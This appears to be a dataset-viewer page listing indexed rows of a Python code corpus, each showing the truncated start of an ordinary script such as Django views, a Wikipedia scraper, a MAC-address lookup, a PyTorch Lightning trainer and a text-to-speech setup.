email = forms.EmailField(widget=forms.TextInput(
attrs={'class': 'form-control text-center w-75 m... |
6,393 | 2471daad5969da29a20417a099a3ecd92fa036b4 | import sys
import array
import random
import math
import gameduino2.prep
import zlib
import struct
import gameduino as GD
from eve import align4
from PIL import Image
import numpy as np
import wave
import common
GLOWR = (128, 256)
GLOWR = (160, 400)
sys.path.append("/home/jamesb/git/gd2-asset/examples/nightstrike")
... |
6,394 | d566104b00ffd5f08c564ed554e0d71279a93047 | #!/usr/bin/python
import pprint
import requests
import string
import subprocess
#Create three files
f_arptable = open( 'arptable', 'w+' )
f_maclist = open( 'maclist', 'w+' )
f_maclookup = open( 'maclookup', 'w+' )
#Give write permissions the three files
subprocess.call([ 'chmod','+w','maclist' ])
subprocess.call([ ... |
6,395 | f0f8ad7b65707bcf691847ccb387e4d026b405b5 | from django.shortcuts import render
from .models import Recipe, Author
def index(request):
recipes_list = Recipe.objects.all()
return render(request, "index.html",
{"data": recipes_list, "title": "Recipe Box"})
def recipeDetail(request, recipe_id):
recipe_detail = Recipe.objects.filter... |
6,396 | 05ca7bbc3285a9e37921c0e514a2e31b05abe051 | from data_loaders.data_module import ChestDataModule
from utils.visualisation import showInRow
from models import get_model
from transforms.finetuning import ChestTrainTransforms, ChestValTransforms
from models.baseline import BaseLineClassifier
from pytorch_lightning.loggers import WandbLogger
from pytorch_lightnin... |
6,397 | e477a59e86cfeb3f26db1442a05d0052a45c42ff | #!/oasis/scratch/csd181/mdburns/python/bin/python
import sys
import pickle
import base64
from process import process
import multiprocessing as mp
EPOCH_LENGTH=.875
EPOCH_OFFSET=.125
NUM_FOLDS=5
if __name__ == "__main__":
mp.freeze_support()
p= mp.Pool(2)
for instr in sys.stdin:
this_key=''
sys.stderr.wr... |
6,398 | f45ca4e75de7df542fbc65253bb9cc44a868522a | import requests
from bs4 import BeautifulSoup
import codecs
url = "https://en.wikipedia.org/wiki/Pennsylvania_State_University"
response = requests.get(url)
soup = BeautifulSoup(response.content, 'html.parser')
infoBox = soup.find("table", class_="infobox vcard")
webScrape = {"Univeristy": "The Pennsylvania State U... |
6,399 | 32f4f7ad61b99848c907e092c5ed7a839f0b352b | import pyttsx3
from pydub import AudioSegment
engine = pyttsx3.init() # object creation
""" RATE"""
#printing current voice rate
engine.setProperty('rate', 150) # setting up new voice rate
rate = engine.getProperty('rate') # getting details of current speaking rate
print (rate)
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.